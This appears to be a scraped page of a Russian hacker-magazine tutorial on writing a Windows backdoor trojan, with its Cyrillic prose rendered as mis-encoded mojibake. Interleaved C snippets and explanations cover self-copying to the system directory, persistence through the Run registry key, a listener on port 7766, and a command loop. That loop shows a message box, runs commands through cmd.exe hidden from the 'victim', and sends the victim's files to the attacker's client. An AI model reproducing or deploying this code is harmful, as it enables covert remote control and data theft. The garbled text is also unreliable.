ÑÞÕÃ’ëÕ àÞÑÞâë:
ÑÞÕÃ’ëÕ àÞÑÞâë:
ÑÞÕÃ’ëÕ àÞÑÞâë:
You also want an ePaper? Increase the reach of your titles
YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.
Êîäèíã<br />
ÏÈØÅÌ ÑÂÎÅÃÎ ÒÐÎßÍÀ<br />
GorluM (gorlum@xakepru)<br />
ïàðàìåòðà, íè îäèí èç êîòîðûõ íàì íå ïîíàäîáèòñÿ, ïîýòîìó íàçâàíèå<br />
ïàðàìåòðîâ ÿ íå ïèøó, à ïèøó òîëüêî èõ òèï<br />
int WINAPI WinMain(HINSTANCE,HINSTANCE,LPSTR,int){<br />
Ïåðâûì äåëîì ìû äîëæíû ñêîïèðîâàòü ñåáÿ â ñèñòåìíóþ äèðåêòîðèþ Ñîçäàåì<br />
äâà ñòðîêîâûõ áóôåðà ïî 256 ñèìâîëîâ êàæäûé Ïåðâûé äëÿ õðàíåíèÿ ïîëíîãî<br />
ïóòè ñ èìåíåì çàïóùåííîãî òðîÿíà (íå áóäåøü æå ðàñïðîñòðàíÿòü trojanexe), à<br />
âòîðîé äëÿ íîâîãî ïóòè â ñèñòåìíîé äèðåêòîðèè Ïîëíûé ïóòü ñ èìåíåì ôàéëà<br />
íàì ïðèäåòñÿ ïîëó÷èòü ñ ïîìîùüþ ôóíêöèè ÿäðà GetModuleFileName Ïåðåäàâàÿ<br />
â ïåðâîì ïàðàìåòðå GetModuleHandle(0), ìû ñîîáùàåì ôóíêöèè îïèñàòåëü<br />
ìîäóëÿ çàïóùåííîãî ôàéëà, âî âòîðîì è òðåòüåì ïàðàìåòðå áóôåð, â êîòîðûé<br />
ïèñàòü ïóòü è åå ðàçìåð ñîîòâåòñòâåííî Ïóòü, êóäà áóäåì êîïèðîâàòü, ìû<br />
ïîëó÷èì ñ ïîìîùüþ ôóíêöèè GetSystemDirectory, ñîîáùèâ åé â ïàðàìåòðàõ<br />
âòîðîé áóôåð è ñêëåèâ åå ñ íîâûì èìåíåì ôàéëà â ôîðìàòå «\\trojanexe»<br />
Âûçûâàåì CopyFile ñ íàøèìè, óæå çàïîëíåííûìè áóôåðàìè â ïåðâûõ äâóõ<br />
ïàðàìåòðàõ è true â òðåòüåì, åñëè ìû íå õîòèì ïåðåçàïèñûâàòü ñóùåñòâóþùèé<br />
ôàéë, èëè false, åñëè õîòèì<br />
Äàëüøå ñ ïîìîùüþ ôóíêöèé ðàáîòû ñ ðååñòðîì ìû çàïèøåì â<br />
SOFTWARE\Microsoft\Windows\CurrentVersion\Run ñâîé ñâåæåñêîïèðîâàííûé<br />
ôàéë, ÷òîáû îí ãðóçèëñÿ ïðè êàæäîì çàïóñêå ñèñòåìû Òðîÿí çàãðóæåí è ãîòîâ ê<br />
êðóãîâîé îáîðîíå (àòàêå :))<br />
Ñëóøàåì ïîðò<br />
Íàêîíåö ìû äîáðàëèñü äî ñàìîãî âàæíîãî ó÷àñòêà êîäà, áåç êîòîðîãî òðîÿí - ýòî<br />
íå òðîÿí Ó÷àñòêà, îòâå÷àþùåãî çà îáìåí äàííûìè æåðòâû ñ òîáîé :) Êàê òû<br />
óæå, íàâåðíîå, çíàåøü èç ñòàòåé Horrific`à, äëÿ èñïîëüçîâàíèÿ ôóíêöèé<br />
winsock`à åãî ñíà÷àëà òðåáóåòñÿ èíèöèàëèçèðîâàòü  ñÿõ ýòî äåëàåòñÿ<br />
ñëåäóþùèì êîäîì:<br />
WSADATA wsaData;<br />
WSAStartup(MAKEWORD(2,2), &wsaData);<br />
Ïîñëå èíèöèàëèçàöèè ìîæíî ïðèñòóïàòü ê ðàáîòå ñ ñîêåòàìè Äëÿ íà÷àëà ìû<br />
ñîçäàäèì ñîêåò listet_Sock ñ ïîìîùüþ ôóíêöèè socket Âî âòîðîì ïàðàìåòðå<br />
ýòîé ôóíêöèè ìû ïåðåäàäèì åé defined çíà÷åíèå SOCK_STREAM, ÷òî îçíà÷àåò,<br />
÷òî ìû áóäåì èñïîëüçîâàòü äëÿ ñâÿçè ïîòîêîâûé ïðîòîêîë TCP Åñëè áû ìû<br />
õîòåëè þçàòü UDP, òî ïåðåäàëè áû SOCK_DGRAM<br />
SOCKET listet_Sock = socket(AF_INET,SOCK_STREAM,0);<br />
Òåïåðü ìû äîëæíû çàäàòü ñâîéñòâà ýòîãî ñîêåòà, òî åñòü íîìåð îòêðûâàåìîãî<br />
íàìè ïîðòà, âîçìîæíûå äëÿ ñîåäèíåíèÿ ip-àäðåñà è ñåìåéñòâî ñîêåòîâ,<br />
ïàðàìåòð AF_INET, êîòîðûé óêàçûâàåò íà òî, ÷òî ìû ðàáîòàåì ñ èíòåðíåòîì Äëÿ<br />
ýòèõ ñâîéñòâ ñóùåñòâóåò ñòðóêòóðà sockaddr_in, êîòîðóþ ìû è çàïîëíèì<br />
//ñîçäàåì ïåðåìåííóþ ñî ñâîéñòâàìè<br />
SOCKADDR_IN addr_Sock;<br />
addr_Socksin_family = AF_INET;<br />
//ñîîáùàåì, ÷òî ê íàì ìîãóò êîííåêòèòüñÿ ñ ëþáîãî àäðåñà<br />
addr_Socksin_addrs_addr = htonl(INADDR_ANY);<br />
//ãîâîðèì, ÷òî áóäåì ñëóøàòü ïîðò 7766, ìîæåøü íàïèñàòü ëþáîé<br />
addr_Socksin_port = htons(7766);<br />
Åñëè áû ìû õîòåëè îãðàíè÷èòü âîçìîæíûå êîííåêòû ê íàøåìó òðîÿíó êàêèì-òî<br />
ip, òî íàïèñàëè áû inet_addr(«127001») âìåñòî INADDR_ANY inet_addr - î÷åíü<br />
ïîëåçíàÿ ôóíêöèÿ, êîòîðàÿ íàâåðíÿêà òåáå åùå ïðèãîäèòñÿ äëÿ<br />
ïðîãðàììèðîâàíèÿ ñîêåòîâ Îíà ïðåâðàùàåò ñòðîêó ñ àäðåñîì â ôîðìàòå<br />
«abcd» â long ÷èñëî, ÷òîáû åãî âïîñëåäñòâèè ìîæíî áûëî èñïîëüçîâàòü äëÿ<br />
ñâîéñòâ è òï Ôóíêöèÿ htons ïðåâðàùàåò öåëîå ÷èñëî â óäîáî÷èòàåìîå<br />
ìàøèíîé, è åñëè ïðèñâîèòü addr_Socksin_port íå ôóíêöèþ htons, à òîëüêî åå<br />
ïàðàìåòð 7766, òî ïðîãðàììà îòêðîåò ëþáîé ïîðò, íî òîëüêî íå òîò, ÷òî ìû<br />
õîòèì =)<br />
Ñ ïîìîùüþ ôóíêöèè bind ìû ñêëåèì ñîçäàííûé íàìè ñîêåò listet_Sock è åãî<br />
ñâîéñòâà addr_Sock (â óìíûõ êíèæêàõ ýòè ñâîéñòâà çîâóòñÿ ëîêàëüíûì àäðåñîì)<br />
Åñëè ôóíêöèÿ âåðíåò çíà÷åíèå, îòëè÷íîå îò íóëÿ, çíà÷èò, ïðîèçîøëà êàêàÿ-òî<br />
îøèáêà, èëè ïîðò óæå çàíÿò äðóãîé ïðîãðàììîé, èëè åùå ÷òî-òî  ñëó÷àå<br />
îøèáêè òðîÿí çàêðîåòñÿ ñ ïîìîùüþ êîìàíäû return 0, êîòîðàÿ ãîâîðèò<br />
ïðîãðàììå, ÷òîáû òåêóùàÿ ôóíêöèÿ âåðíóëà çíà÷åíèå 0 è âûðóáèëàñü, à òàê êàê<br />
ó íàñ ôóíêöèÿ îäíà, òî îíà è âûðóáàåòñÿ âìåñòå ñ íàøèì áåäíûì ñåðâåðîì<br />
if(bind(listet_Sock,(LPSOCKADDR)&addr_Sock, sizeof(struct<br />
sockaddr))) return 0;<br />
À ýòîé ñòðîêîé ìû, íàêîíåö, íà÷íåì ÑËÓØÀÒÜ ïîðò, òî åñòü îòêðîåì åãî äëÿ<br />
ñîåäèíåíèé Åñëè áûòü òî÷íûì, äëÿ îäíîãî ñîåäèíåíèÿ  ïåðâîì ïàðàìåòðå ìû<br />
ïåðåäàåì ïåðåìåííóþ-ñîêåò, êîòîðûé îòêðûâàåì, à âî âòîðîì - êîëè÷åñòâî<br />
âîçìîæíûõ êîííåêòîâ, íàì áîëüøå îäíîãî íå íàäî Êàê è â ñëó÷àå ñ bind`îì, ïðè<br />
îøèáêå îòêëþ÷àåì òðîÿí<br />
if(listen(listet_Sock, 1)) return 0;<br />
Ôóíêöèè òðîÿíà<br />
Äëÿ òîãî ÷òîáû íà÷èíàòü ïðèíèìàòü êîìàíäû îò êëèåíòà ê ñåðâåðó, ïîòðåáóåòñÿ<br />
ñíà÷àëà ðàçðåøèòü êëèåíòó ïðèêîííåêòèòüñÿ ôóíêöèåé accept Ýòà ôóíêöèÿ<br />
æäåò, ïîêà êòî-íèáóäü íå ïðèñîåäèíèòñÿ ê ñîçäàííîìó íàìè ñîêåòó, è<br />
âîçâðàùàåò íîâûé ñîêåò, èç êîòîðîãî ìû è áóäåì ïîëó÷àòü êîìàíäû ×òîáû<br />
ïîñëå ïåðâîãî æå äèñêîííåêòà òðîÿí ó íàñ íå ïàäàë, ìû äîëæíû çàñóíóòü ýòó<br />
ôóíêöèþ â áåñêîíå÷íûé öèêë while(true)  ýòîì öèêëå ìû áóäåì æäàòü<br />
êîííåêòà, çàòåì çàïóñêàòü íîâûé áåñêîíå÷íûé öèêë (àâòîðû BO2K íàçâàëè ýòîò<br />
öèêë CommandLoop) äëÿ îáðàáîòêè ïîëó÷àåìûõ îò êëèåíòà êîìàíä, èç êîòîðîãî<br />
âûéäåì òîëüêî â ñëó÷àå îøèáêè ïðè ïðèåìå äàííûõ<br />
1) Æäåì êîííåêòà<br />
2) Îáðàáàòûâàåì êîìàíäû<br />
3) Ïðè îøèáêå çàêðûâàåì ñóùåñòâóþùèå ñîåäèíåíèÿ<br />
4) Âîçâðàùàåìñÿ ê ï1<br />
Êîìàíäû áóäóò ïðèíèìàòüñÿ â âèäå ñòðîêè, ïåðâûé ñèìâîë êîòîðîé -<br />
ñîáñòâåííî, âûáîð ôóíêöèè, âòîðîé - ðàçäåëèòåëü, ëþáîé, à îñòàëüíûå - ýòî<br />
àðãóìåíò, êîòîðûé ìû ïåðåäàåì ôóíêöèè íàøåãî òðîÿíà Âîò ïðèìåð êîìàíäû,<br />
ïîñûëàåìîé êëèåíòîì: «m Ïðèâåò» Òðîÿí ñíà÷àëà ïðèìåò ïåðâûå äâà ñèìâîëà<br />
è ïðîâåðèò, åñòü ëè ó íàñ ôóíêöèÿ, íàçíà÷åííàÿ íà ñèìâîë m (ó íàñ ýòî âûâîä<br />
ñîîáùåíèÿ) Çàòåì ïðèìåò åùå 126 ñèìâîëîâ è çàãðóçèò íàøó ôóíêöèþ Òî åñòü<br />
òðîÿí â öèêëå ïðèíèìàåò ñ ïîìîùüþ ôóíêöèè recv èç ñîçäàííîãî ïîñëå êîííåêòà<br />
ñîêåòà hack_Sock äàííûå äâà ðàçà, â ïåðâûé áóôåð 2 áàéòà, è âî âòîðîé 126 Â<br />
ñëó÷àå, åñëè äàííûå ïîëó÷èòü íå óäàëîñü, CommandLoop çàâåðøèòñÿ êîìàíäîé<br />
break, ñîêåò çàêðîåòñÿ è ñåðâåð ñíîâà áóäåò æäàòü êîííåêòà<br />
Ðàñïèøåì ôóíêöèè òðîÿíà ïîäðîáíåå:<br />
Åñëè ïåðâûé ñèìâîë m, òî âûïîëíÿåòñÿ ôóíêöèÿ MessageBox(0,buf,»Hacked<br />
=)»,0), ãäå buf - ýòî íàø âòîðîé áóôåð<br />
Äåìîíñòðàöèÿ ðàáîòû êîíñîëüíîãî êëèåíòà<br />
Åñëè ïåðâûé ñèìâîë e, òî ñòðîêà buf âûïîëíÿåòñÿ ÷åðåç cmdexe c ïàðàìåòðîì<br />
/c, äëÿ ýòîãî çàïóñêàåòñÿ ôóíêöèÿ ñ òàêèìè ïàðàìåòðàìè<br />
ShellExecuteA(NULL, «open», «cmdexe», buf_command, NULL, SW_HIDE), ãäå<br />
buf_command - ýòî íàø áóôåð ñ äîáàâëåííîé âïåðåä ñòðîêîé «/c «, à SW_HIDE<br />
óêàçûâàåò íà òî, ÷òî æåðòâà íå äîëæíà âèäåòü ïîÿâëÿþùóþñÿ êîíñîëü<br />
È ïîñëåäíÿÿ, ñàìàÿ ñëîæíàÿ ôóíêöèÿ, îñóùåñòâëÿþùàÿ ñêà÷èâàíèå ôàéëà ñ<br />
ìàøèíû æåðòâû Îíà âûïîëíÿåòñÿ â ñëó÷àå, åñëè ïåðâûé ñèìâîë - ýòî f Ñíà÷àëà<br />
îíà îòêðûâàåò ôàéë òîëüêî äëÿ ÷òåíèÿ ôóíêöèåé CreateFile À çàòåì, åñëè ôàéë<br />
ñóùåñòâóåò, â öèêëå ïîñûëàåò ïî 4096 áàéòîâ ýòîãî ôàéëà Åñëè æå áàéòîâ<br />
îòîñëàíî ìåíüøå, çíà÷èò, ýòî êîíåö ôàéëà è öèêë ïðåðûâàåòñÿ À ñèãíàëîì äëÿ<br />
êëèåíòà, ÷òî ôàéë çàêîí÷èëñÿ, áóäåò äèñêîííåêò<br />
Êëèåíò<br />
 ðîëè êëèåíòà ìîæåò âûñòóïàòü ëþáàÿ ïðîãðàììà, êîòîðàÿ ìîæåò ïîñëàòü ïàêåò<br />
çàäàííîãî íàìè ôîðìàòà æåðòâå Òî åñòü ñêîííåêòèòüñÿ ñ ñåðâàêîì è âûïîëíèòü<br />
êîìàíäó òèïà: send(sock,»m Hello»,128,0) Íî íà âñÿêèé ñëó÷àé ÿ íàïèñàë êëèåíò,<br />
êîòîðûé ðàáîòàåò èç êîìàíäíîé ñòðîêè, è, ïî èäåå, åãî ëåãêî ïåðåíåñòè íà<br />
ëþáóþ ïëàòôîðìó Ïîñûëêà êîìàíäû òðîÿíó îñóùåñòâëÿåòñÿ êîìàíäîé clientexe<br />
[ip æåðòâû] [ôóíêöèÿ] [àðãóìåíò], íàïðèìåð:<br />
client 127001 m Ïðèâåò<br />
88